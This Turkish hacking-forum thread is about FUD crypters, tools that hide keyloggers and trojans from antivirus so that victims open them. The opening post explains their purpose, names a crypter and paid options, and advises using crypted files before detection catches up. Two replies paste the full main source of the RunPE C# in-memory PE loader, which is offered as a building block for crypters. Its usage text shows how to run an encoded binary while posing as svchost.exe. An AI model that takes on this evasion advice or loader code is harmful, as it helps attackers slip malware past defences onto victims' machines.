Fud Crypter ve Fud Crypter Nasıl Yapılır?

MonoMonsters' Alıntı:

2 yıldır yapmaya ugrastıgım ve asla yapmadıgım programdır fud crypter ve keske yapabılsem ama asla yapamıcam

Genişletmek için tıkla ...

Kamutay' Alıntı:

FUD (Full Undetected), normal şartlarda antivirüs yazılımları tarafından yakalanması gereken içerisinde zararlı kod parçacıkları barındıran dosyaların tamamının antivirüs yazılımları tarafından tanınmaması anlamına gelir. Keylogger ve Trojan gibi kimlik avı için kullanılan kötü niyetli yazılımları hazırlamak oldukça kolaydır ancak bu kötü niyetli yazılımların kullanıcılar tarafından açılması her zaman sanıldığı kadar kolay olmayabilir.

İnternet tehditleri nedeniyle bilgisayar kullanıcılarının artık büyük bir kısmı bilgisayarında aktif bir koruma kalkanı (Firewall) kullanıyor. Bu dosyayı henüz kullanıcılar bilgisayarına indirirken antivirüs yazılımları bu zararlı yazılımları algılıyor ve kullanıcının bu yazılımı açmasını engellemek amacıyla karantinaya taşıyor veya disk üzerinden temizliyor. Zararlı yazılımlar FUD edildiklerinde ise antivirüs yazılımları bu zararlı yazılımları tanıyıp, algılayamıyor. Kullanıcılar da antivirüs yazılımının uyarı vermiyor olması nedeniyle bu dosyaları açıyor ve bilgisayarlarına zararlı yazılımların müdahale etmesine şans tanıyorlar.

FUD Crypter
FUD Crypter veya Full Undetected Crypter, içerisinde zararlı yazılım barındıran dosyaları tersine mühendislik yöntemlerine kapatmak ve bu dosyaları antivirüsler tarafından tanınamaz hale getirmek için kullanılan otomatikleştirilen yazılımlardır. FUD Crypter’lar yardımıyla bir saldırgan istediği antivirüs yazılımını büyük ölçüde antivirüsler ve virüs taraması yapmaya yardımcı olan Online servislerden kaçırabilir.

FUD Crypter Nasıl Yapılır?
Elinizde bulunan bir dosyayı antivirüsler tarafından tanınamaz hale getirmek istiyorsanız, bu işlem için kullanabileceğiniz birçok FUD Crypter yazılım bulunuyor. Özellikle kişisel kullanıcıların kendini geliştirmek amacıyla kullanabileceği CypherX’i kullanabilirler.

Daha profesyonel amaçlı bir FUD Crypter istiyorsanız ya kendinizin FUD Crypter tasarlamayı öğrenmesi yada ücretli olarak geliştirilen FUD Crypter yazılımlarından/yazılım paketlerinden herhangi birini satın almalısınız. Peki, FUD hale getirilen bir dosya ne kadar işe yarardır?

FUD hale getirilen dosyalar yanlızca çok kısa bir süreliğine antivirüslerden kaçmayı başaracak. Bu nedenle kısa süre içerisinde hazırlanıp kullanılması gerekir.

Her FUD hale getirilen dosyalar tüm antivirüs programları tarafından yakalanmıyacak diye birşey yoktur. İstisna durumlar olsa da bazı antivirüs programları kolay bir şekilde FUD dosyaların içinde bulunan zararlı yazılımları yakalayabilmektedir.

FUD olarak hazırlanan dosyalar profesyonel konularda kullanılması uygun değildir.
​

​

Genişletmek için tıkla ...

aslan aslan' Alıntı:

Eline sağlık güzel çalışma..

Genişletmek için tıkla ...

cyber sherif' Alıntı:

elinize sağlık

Genişletmek için tıkla ...

invisible blood' Alıntı:

Elinize sağlık hocam

Genişletmek için tıkla ...

MonoMonsters' Alıntı:

2 yıldır yapmaya ugrastıgım ve asla yapmadıgım programdır fud crypter ve keske yapabılsem ama asla yapamıcam

Genişletmek için tıkla ...

BlackDynamite' Alıntı:

bazı yapılan crypterları 6 ay görmeyen bile olabilir kuvvetli iyi bir algoritma kullanılırsa ve bide üstüne native dille yazılırsa incelenmesi zorlasır

Genişletmek için tıkla ...

aslan aslan' Alıntı:

Eline sağlık güzel çalışma..

Genişletmek için tıkla ...

alexandre20' Alıntı:

Neresi güzel çalışma tam olarak? FUD Crypter yapımı ile alakalı tek bir satır yazılmamış, sadece "şunu kullanın" yazmış konu sahibi. Verdiği crypter da 500 kere fingerprintlenmiş artık tek bir antivirüs bile geçemez. gidip nullsoft packer kullansan bile daha az detection alırsın VT'de.

Genişletmek için tıkla ...

Lihtg' Alıntı:

Elinize sağlık Kamutay hocam. Beklediğim bir konuydu

Genişletmek için tıkla ...

LordSUCCESS' Alıntı:

Eline sağlık

Genişletmek için tıkla ...

alexandre20' Alıntı:

Neresi güzel çalışma tam olarak? FUD Crypter yapımı ile alakalı tek bir satır yazılmamış, sadece "şunu kullanın" yazmış konu sahibi. Verdiği crypter da 500 kere fingerprintlenmiş artık tek bir antivirüs bile geçemez. gidip nullsoft packer kullansan bile daha az detection alırsın VT'de.

Genişletmek için tıkla ...

tamam ağa' Alıntı:

Konuda teknik bilgi harici herşey var bare konunun adını değiştirseydin.
klip beyt gibi olmuş

Genişletmek için tıkla ...

BlackDynamite' Alıntı:

daha iyisini biliyorsan çek madem hadi

Genişletmek için tıkla ...

RunPE/RunPE at main · nettitude/RunPE

C# Reflective loader for unmanaged binaries. Contribute to nettitude/RunPE development by creating an account on GitHub.

github.com

using System;
using System.Collections.Generic;
using System.IO;
using System.Text;
using System.Linq;
using RunPE.Internals;
using RunPE.Patchers;

namespace RunPE
{
    internal static class Program
    {
        private const uint EXECUTION_TIMEOUT = 30000;

        internal static Encoding encoding;

        private static int Main(string[] args)
        {

#if BREAK
            Console.WriteLine("[*] Press Enter to continue...");
            Console.ReadLine();
            Console.WriteLine("[*] Continuing...");
#endif

            try
            {
                if (IntPtr.Size != 8)
                {
                    Console.WriteLine("\n[-] Process is not 64-bit, this version of run-exe won't work !\n");
                    return -1;
                } else

                if (args.Length == 0)
                {
                    PrintUsage();
                    return -2;
                }

                var peRunDetails = ParseArgs(args.ToList());

                if(peRunDetails == null)
                {
                    return -10;
                }

                var peMapper = new PEMapper();
                peMapper.MapPEIntoMemory(peRunDetails.binaryBytes, out var pe, out var currentBase);

                var importResolver = new ImportResolver();
                importResolver.ResolveImports(pe, currentBase);

                peMapper.SetPagePermissions();

                var argumentHandler = new ArgumentHandler();
                if (!argumentHandler.UpdateArgs(peRunDetails.filename, peRunDetails.args))
                {
                    return -3;
                }

                var fileDescriptorRedirector = new FileDescriptorRedirector();
                if (!fileDescriptorRedirector.RedirectFileDescriptors())
                {
                    Console.WriteLine("[-] Unable to redirect file descriptors");
                    return -7;
                }

                var extraEnvironmentalPatcher = new ExtraEnvironmentPatcher((IntPtr)currentBase);
                extraEnvironmentalPatcher.PerformExtraEnvironmentPatches();

                // Patch this last as may interfere with other activity
                var extraAPIPatcher = new ExtraAPIPatcher();

                if (!extraAPIPatcher.PatchAPIs((IntPtr)currentBase))
                {
                    return -9;
                }
               
                var exitPatcher = new ExitPatcher();
                if (!exitPatcher.PatchExit())
                {
                    return -8;
                }

                fileDescriptorRedirector.StartReadFromPipe();

#if BREAK
                Console.WriteLine("Press Enter to continue...");
                Console.ReadLine();
#endif
                StartExecution(peRunDetails.args, pe, currentBase);
#if BREAK
                Console.WriteLine("Done, press enter...");
                Console.ReadLine();
#endif

                // Revert changes
                exitPatcher.ResetExitFunctions();
                extraAPIPatcher.RevertAPIs();
                extraEnvironmentalPatcher.RevertExtraPatches();
                fileDescriptorRedirector.ResetFileDescriptors();
                argumentHandler.ResetArgs();
                peMapper.ClearPE();
                importResolver.ResetImports();

                // Print the output
                var output = fileDescriptorRedirector.ReadDescriptorOutput();

#if DEBUG
                Console.WriteLine("\n------------------------ EXE OUTPUT -------------------------\n");
#endif
                Console.WriteLine(output);
#if DEBUG
                Console.WriteLine("\n--------------------- END OF EXE OUTPUT ---------------------\n");
                Console.WriteLine("[+] End of RunPE\n");
#endif
#if BREAK
                Console.WriteLine("Press Enter to quit\n");
                Console.ReadLine();
#endif
                return 0;
            }
            catch (Exception e)
            {
                Console.WriteLine($"[-] Error running RunPE: {e}");
                return -6;
            }
        }

        private static void StartExecution(string[] binaryArgs, PELoader pe, long currentBase)
        {

#if DEBUG
            Console.WriteLine($"\n[*] Executing loaded PE\n");
#endif
            try
            {
                var threadStart = (IntPtr)(currentBase + (int)pe.OptionalHeader64.AddressOfEntryPoint);
                var hThread = NativeDeclarations.CreateThread(IntPtr.Zero, 0, threadStart, IntPtr.Zero, 0, IntPtr.Zero);

                NativeDeclarations.WaitForSingleObject(hThread, EXECUTION_TIMEOUT);
            }
            catch (Exception e)
            {
                Console.WriteLine($"[-] Error {e}\n");
            }

        }

        private static PeRunDetails ParseArgs(List<string> args)
        {
            string filename;
            string[] binaryArgs;
            byte[] binaryBytes;

            if(args.Contains("---f") || args.Contains("---b"))
            {
                if(!(args.Contains("---f") && args.Contains("---b")))
                {
                    PrintUsage();
                    return null;
                }

                filename = args[args.IndexOf("---f") + 1];
                if (args.Contains("---a")) {
                    binaryArgs = Encoding.UTF8.GetString(Convert.FromBase64String(args[args.IndexOf("---a") + 1])).Split();
                } else
                {
                    binaryArgs = new string[] { };
                }
               
                binaryBytes = Convert.FromBase64String(args[args.IndexOf("---b") + 1]);
#if DEBUG
                Console.WriteLine($"[*] Running base64 encoded binary as file {filename} with args: '{string.Join(" ", binaryArgs)}'");
#endif
            }
            else
            {
                filename = args[0];
                binaryBytes = File.ReadAllBytes(filename);
                if(args.Count > 1)
                {
                    binaryArgs = new string[args.Count - 1];
                    Array.Copy(args.ToArray(), 1, binaryArgs, 0, args.Count - 1);
    #if DEBUG
                    Console.WriteLine($"[*] Running: {filename} with args: '{string.Join(" ", binaryArgs)}'");
    #endif
                }
                else
                {
                    binaryArgs = new string[] { };
    #if DEBUG
                    Console.WriteLine($"[*] Running: {filename} with no args");
    #endif
                }
            }
            return new PeRunDetails { filename = filename, args = binaryArgs, binaryBytes = binaryBytes};
        }

        private static void PrintUsage()
        {
            Console.WriteLine($"Usage: RunPE.exe <file-to-run> <args-to-file-to-run>");
            Console.WriteLine($"\te.g. RunPE.exe C:\\Windows\\System32\\net.exe localgroup administrators");
            Console.WriteLine($"\nAlternative usage: RunPE.exe ---f <file-to-pretend-to-be> ---b <base64 blob of file bytes> ---a <base64 blob of args>");
            Console.WriteLine($"\te.g: RunPE.exe ---f C:\\Windows\\System32\\svchost.exe ---b <net.exe, base64 encoded> ---a <localgroup administrators, base64 encoded>");
        }

    }

    internal class PeRunDetails
    {
        internal string filename;
        internal string[] args;
        internal byte[] binaryBytes;
    }

}

tamam ağa' Alıntı:

Haklı adam teknik açıdan hiçbir bilgi vermemiş ama konu başlığı crypter nasıl yapılır? ..???

misal bak aşağıdaki Runpe'nin dahi teknik bir bilgisi vardır oturursun bunu adam akıllı anlatırsın o zaman crypter nasıl yapılır başlığı atarsın anlarımda neyse daha fazla uzatmıcam.

RunPE/RunPE at main · nettitude/RunPE

C# Reflective loader for unmanaged binaries. Contribute to nettitude/RunPE development by creating an account on GitHub.

github.com

C#:

using System;
using System.Collections.Generic;
using System.IO;
using System.Text;
using System.Linq;
using RunPE.Internals;
using RunPE.Patchers;

namespace RunPE
{
    internal static class Program
    {
        private const uint EXECUTION_TIMEOUT = 30000;

        internal static Encoding encoding;

        private static int Main(string[] args)
        {

#if BREAK
            Console.WriteLine("[*] Press Enter to continue...");
            Console.ReadLine();
            Console.WriteLine("[*] Continuing...");
#endif

            try
            {
                if (IntPtr.Size != 8)
                {
                    Console.WriteLine("\n[-] Process is not 64-bit, this version of run-exe won't work !\n");
                    return -1;
                } else

                if (args.Length == 0)
                {
                    PrintUsage();
                    return -2;
                }

                var peRunDetails = ParseArgs(args.ToList());

                if(peRunDetails == null)
                {
                    return -10;
                }

                var peMapper = new PEMapper();
                peMapper.MapPEIntoMemory(peRunDetails.binaryBytes, out var pe, out var currentBase);

                var importResolver = new ImportResolver();
                importResolver.ResolveImports(pe, currentBase);

                peMapper.SetPagePermissions();

                var argumentHandler = new ArgumentHandler();
                if (!argumentHandler.UpdateArgs(peRunDetails.filename, peRunDetails.args))
                {
                    return -3;
                }

                var fileDescriptorRedirector = new FileDescriptorRedirector();
                if (!fileDescriptorRedirector.RedirectFileDescriptors())
                {
                    Console.WriteLine("[-] Unable to redirect file descriptors");
                    return -7;
                }

                var extraEnvironmentalPatcher = new ExtraEnvironmentPatcher((IntPtr)currentBase);
                extraEnvironmentalPatcher.PerformExtraEnvironmentPatches();

                // Patch this last as may interfere with other activity
                var extraAPIPatcher = new ExtraAPIPatcher();

                if (!extraAPIPatcher.PatchAPIs((IntPtr)currentBase))
                {
                    return -9;
                }
              
                var exitPatcher = new ExitPatcher();
                if (!exitPatcher.PatchExit())
                {
                    return -8;
                }

                fileDescriptorRedirector.StartReadFromPipe();

#if BREAK
                Console.WriteLine("Press Enter to continue...");
                Console.ReadLine();
#endif
                StartExecution(peRunDetails.args, pe, currentBase);
#if BREAK
                Console.WriteLine("Done, press enter...");
                Console.ReadLine();
#endif

                // Revert changes
                exitPatcher.ResetExitFunctions();
                extraAPIPatcher.RevertAPIs();
                extraEnvironmentalPatcher.RevertExtraPatches();
                fileDescriptorRedirector.ResetFileDescriptors();
                argumentHandler.ResetArgs();
                peMapper.ClearPE();
                importResolver.ResetImports();

                // Print the output
                var output = fileDescriptorRedirector.ReadDescriptorOutput();

#if DEBUG
                Console.WriteLine("\n------------------------ EXE OUTPUT -------------------------\n");
#endif
                Console.WriteLine(output);
#if DEBUG
                Console.WriteLine("\n--------------------- END OF EXE OUTPUT ---------------------\n");
                Console.WriteLine("[+] End of RunPE\n");
#endif
#if BREAK
                Console.WriteLine("Press Enter to quit\n");
                Console.ReadLine();
#endif
                return 0;
            }
            catch (Exception e)
            {
                Console.WriteLine($"[-] Error running RunPE: {e}");
                return -6;
            }
        }

        private static void StartExecution(string[] binaryArgs, PELoader pe, long currentBase)
        {

#if DEBUG
            Console.WriteLine($"\n[*] Executing loaded PE\n");
#endif
            try
            {
                var threadStart = (IntPtr)(currentBase + (int)pe.OptionalHeader64.AddressOfEntryPoint);
                var hThread = NativeDeclarations.CreateThread(IntPtr.Zero, 0, threadStart, IntPtr.Zero, 0, IntPtr.Zero);

                NativeDeclarations.WaitForSingleObject(hThread, EXECUTION_TIMEOUT);
            }
            catch (Exception e)
            {
                Console.WriteLine($"[-] Error {e}\n");
            }

        }

        private static PeRunDetails ParseArgs(List<string> args)
        {
            string filename;
            string[] binaryArgs;
            byte[] binaryBytes;

            if(args.Contains("---f") || args.Contains("---b"))
            {
                if(!(args.Contains("---f") && args.Contains("---b")))
                {
                    PrintUsage();
                    return null;
                }

                filename = args[args.IndexOf("---f") + 1];
                if (args.Contains("---a")) {
                    binaryArgs = Encoding.UTF8.GetString(Convert.FromBase64String(args[args.IndexOf("---a") + 1])).Split();
                } else
                {
                    binaryArgs = new string[] { };
                }
              
                binaryBytes = Convert.FromBase64String(args[args.IndexOf("---b") + 1]);
#if DEBUG
                Console.WriteLine($"[*] Running base64 encoded binary as file {filename} with args: '{string.Join(" ", binaryArgs)}'");
#endif
            }
            else
            {
                filename = args[0];
                binaryBytes = File.ReadAllBytes(filename);
                if(args.Count > 1)
                {
                    binaryArgs = new string[args.Count - 1];
                    Array.Copy(args.ToArray(), 1, binaryArgs, 0, args.Count - 1);
    #if DEBUG
                    Console.WriteLine($"[*] Running: {filename} with args: '{string.Join(" ", binaryArgs)}'");
    #endif
                }
                else
                {
                    binaryArgs = new string[] { };
    #if DEBUG
                    Console.WriteLine($"[*] Running: {filename} with no args");
    #endif
                }
            }
            return new PeRunDetails { filename = filename, args = binaryArgs, binaryBytes = binaryBytes};
        }

        private static void PrintUsage()
        {
            Console.WriteLine($"Usage: RunPE.exe <file-to-run> <args-to-file-to-run>");
            Console.WriteLine($"\te.g. RunPE.exe C:\\Windows\\System32\\net.exe localgroup administrators");
            Console.WriteLine($"\nAlternative usage: RunPE.exe ---f <file-to-pretend-to-be> ---b <base64 blob of file bytes> ---a <base64 blob of args>");
            Console.WriteLine($"\te.g: RunPE.exe ---f C:\\Windows\\System32\\svchost.exe ---b <net.exe, base64 encoded> ---a <localgroup administrators, base64 encoded>");
        }

    }

    internal class PeRunDetails
    {
        internal string filename;
        internal string[] args;
        internal byte[] binaryBytes;
    }

}

Genişletmek için tıkla ...

aslan aslan' Alıntı:

Eline sağlık güzel çalışma..

Genişletmek için tıkla ...

Kamutay' Alıntı:

Daha iyisini sizden bekliyoruz O zaman


Teşekkür ederim

Genişletmek için tıkla ...

BlackDynamite' Alıntı:

daha iyisini biliyorsan çek madem hadi

Genişletmek için tıkla ...